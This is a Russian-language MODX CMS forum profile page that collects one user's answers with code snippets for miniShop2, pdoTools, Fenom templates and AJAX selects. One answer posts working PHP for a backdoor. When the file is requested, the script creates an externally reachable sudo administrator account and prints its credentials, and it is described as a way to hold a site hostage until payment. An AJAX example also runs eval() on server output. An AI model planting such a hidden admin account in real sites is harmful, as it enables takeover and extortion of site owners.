Алексей

Алексей

С нами с 16 июля 2015; Место в рейтинге пользователей: #378
Денис
11 декабря 2018, 19:19
5
+5
Судя по исходникам просто так не выйдет.
Создайте плагин и повесьте на событие OnManagerPageBeforeRender
После вставьте следующий код:
<?php
switch ($modx->event->name) {
	case 'OnManagerPageBeforeRender':
        if($controller->config['controller'] == "mgr/orders") {
            if ($miniShop2 = $modx->getService('miniShop2')) {
                $modx->controller->addHtml('<style>.x-grid3-col-order-product-image img {width:40px;display:block;}</style>');
                $modx->controller->addHtml('
                    <script>
                        Ext.onReady(function(){
                            var originalGetColumns = miniShop2.grid.OrderProducts.prototype.getColumns;
                            miniShop2.config["default_thumb"] = miniShop2.config["defaultThumb"];
                            Ext.override(miniShop2.grid.OrderProducts,{
                                getColumns: function () {
                                	var imgFields = [ "product_thumb", "product_image" ];
                                    var columns = originalGetColumns.apply(this);
                                    for(var i=0; i<columns.length; i++){
                                    	if(imgFields.indexOf(columns[i]["dataIndex"]) != -1){
                                    		columns[i]["renderer"] = miniShop2.utils.renderImage;
                                    		columns[i]["id"] = "order-product-image";
                                    	}
                                    }
                                    return columns;
                                }
                            });
                        });
                    </script>
                ');
            }
        }
    break;
}

Если в системной настройке ms2_order_product_fields указан product_thumb или product_image, то вы увидите уже не ссылку, а картинку.
Баха Волков
25 октября 2018, 15:57
2
+3
Эмм… Зачем так сложно? Устанавливаете pdoTools и:

MODX:
[[#[[*parent]].pagetitle]]

fenom:
{$_modx->resource.parent | resource : 'pagetitle'}

Причём fastField устанавливать не надо, в pdoTools он вшит
Александр Лыженков
08 апреля 2018, 15:24
1
+1
Очень подробно партицирование данных на примере БД Mysql (MariaDB) рассмотрен в статье Как обрабатывать статистику за длительный период
рекомендую
Андрей
24 января 2018, 12:15
5
0
Если там ничего мудреного нету, то подключить в них pdoTools и заменить все вызовы чанков через него:

//подключаем в начале сниппета
$pdo = $modx->getSetvice('pdoFetch');

//далее везде в сниппете заменить
$modx->getChunk

// на обработку через pdoTools
$pdo->getChunk

Так же можно сделать простейший поиск через pdoPage

{'!pdoPage' | snippet : [
  'parents' => 0,
  'includeContent' => 1,
  'context' => $_modx->context.key,

  'where' => [
    [
      'context_key' => $_modx->context.key
    ],
    [
      'AND:pagetitle:LIKE' => '%'~ $.get.search | escape ~'%',
      'OR:introtext:LIKE' => '%'~ $.get.search | escape ~'%',
      'OR:content:LIKE' => '%'~ $.get.search | escape ~'%'
    ]
  ] | toJSON,

  'tpl' => ''
]}
Михаил
09 января 2018, 20:25
1
+4
$q = $modx->newQuery('modResource');
$q->where(array('pagetitle':LIKE => '%пейджтайтл%')); //тут ставим любые поля ресурса

$resource = $modx->getObjectt('modResource', $q);
print_r($resource->toArray());
Василий Наумкин
08 августа 2017, 17:12
3
0
$(doсument).on('ready', function() {
	miniShop2.Message = {
		success: function() {},
		error: function() {},
		info: function() {},
	};
});
Я не имел в виду, что нужно прям свой файл загрузить после, хотя и так можно. Нужно просто перезаписать часть скрипта miniShop2 перед его первым использованием.
Максим Кузнецов
24 января 2017, 00:43
6
+4
Аналогично, бэкдор + сайт лежит на своем хостинге до оплаты оставшейся части. Вот код:

<?php
	define('MODX_API_MODE', true);
	//количество dirname = глубина документа относительно корня
	require dirname(dirname(dirname(dirname(__FILE__)))) . '/index.php';

	$user = empty($_GET['user']) ? 'user'. rand(99,9999) : $_GET['user'];
	$pass = empty($_GET['pass']) ? rand(10000000,99999999) : $_GET['pass'];
	
	$u = $modx->newObject('modUser');
	$u->fromArray(array(
		'username' => $user,
		'password' => $pass,
		'active' => 1,
		'primary_group' => 1,
	));
	$u->joinGroup('1', '0');
	$u->setSudo(1);
	$p = $modx->newObject('modUserProfile');
	$p->fromArray(array(
		'fullname' => $user,
		'email' => $user.'@yoba.ru',
	));
	$u->addOne($p);
	$u->save();
	
	if (!empty($u->username)) {
		print '<p><b>user:</b> '. $user .'</p><p><b>pass:</b> '. $pass .'</p>';
	}
— при запросе к документу генерирует и выводит логин-пароль для свежесозданного sudo-пользователя. (соответственно, файл должен быть доступен извне)

По поводу взлома можешь обратиться к agel_nash, наверное.
Алексей
19 декабря 2016, 10:44
1
+1
Да, вот по шагам:
Создаешь плагин, например rukav. Код:
<?php
if ($miniShop2 = $modx->getService('miniShop2')) {
$miniShop2->addPlugin('rukav', '{core_path}components/rukav/index.php');
}
И СТАВИШЬ ЕГО НА СОБЫТИЕ: OnMODXInit (для его регистрации, необходимо только для регистрации плагина один раз).
lexikon
12 сентября 2016, 20:11
1
0
все проще
{foreach $photos as $photo first=$first}
       <div class="items__photo{$first?' active':''}"><img src="{$photo}"></div>
{/foreach}
и не надо городить конструкции вида
{if $value@first} first item {/if}
PS
phpthumbon можно вызывать как модификатор fenom
<img src="{$_pls['tv.image']|phpthumbon:'w=698&h=320&zc=1'}" alt="{$description}">
Максим Кузнецов
08 августа 2016, 10:34
3
+3
Реализовать ajax-запрос. Примерно вот так:

1. Вешаем на событие переключения селектора скрипт, который будет выполнять ajax-запрос:
<script>
	var canClick = true;

	$(document).on('change', 'select[name="selector-1"]', function(e) {
		if ($(this).val() != '' && canClick = true) {
    			$.ajax({
    				type: "POST",
    				url: "assets/ajax/getlist.php",
    				data: {
    					action: 'getList', 
    					parent: $("select[name='selector-1']").val()
       		        	},
    			
    				beforeSend: function(){
					canClick = false;
    				},
    			
    				success: function(response) {
    					var data = eval(response);
    
    					switch (data[1]) {
    						case 'success':
							//Если все ок - вставляем результат во второй селектор
							$("select[name='selector-2']").html("<option value='' selected disabled>Выберите значение из списка</option>" + data[0]).val("");

    							break;
    							
    						case 'error':
							//Если не ок - выводим ошибку (используется jGrowl)
    							$.jGrowl(data[0], {theme: 'error', position: 'center'});
    							
    							break;
    						
    					}

					canClick = true;
    				}
    			});
		}
	});
</script>

2. Создаем файл (в моем примере assets/ajax/getlist.php), на который ссылается скрипт и который будет возвращать нам результат:
<?php
	if ($_SERVER['HTTP_X_REQUESTED_WITH'] != 'XMLHttpRequest' || empty($_POST['action'])) {
		return;
	}

	define('MODX_API_MODE', true);

	require dirname(dirname(dirname(__FILE__))) . '/index.php';
	
	$modx->getService('error','error.modError');
	$modx->setLogLevel(modX::LOG_LEVEL_ERROR);
	$modx->setLogTarget('FILE');
	
	
	if ($_POST['action'] == "getList" && isset($_POST['parent'])) {
		//Получаем значение для второго селектора
		$snippetParams = array();
		$snippetParams['parents'] = intval($_POST['parent']);
		$snippetParams['tpl'] = '@INLINE <option value="[[+menutitle]]">[[+menutitle]]</option>';
		//Дописать параметры для сниппета получающего результаты по вкусу			

		$snippetResult = $modx->runSnippet('pdoResources', $snippetParams);

		$result = array($snippetResult, 'success');
	}
	else {
		$result = array('Некорректный запрос', 'error');
	}
	
	if (!empty($result)) {
		die(json_encode($result));
	}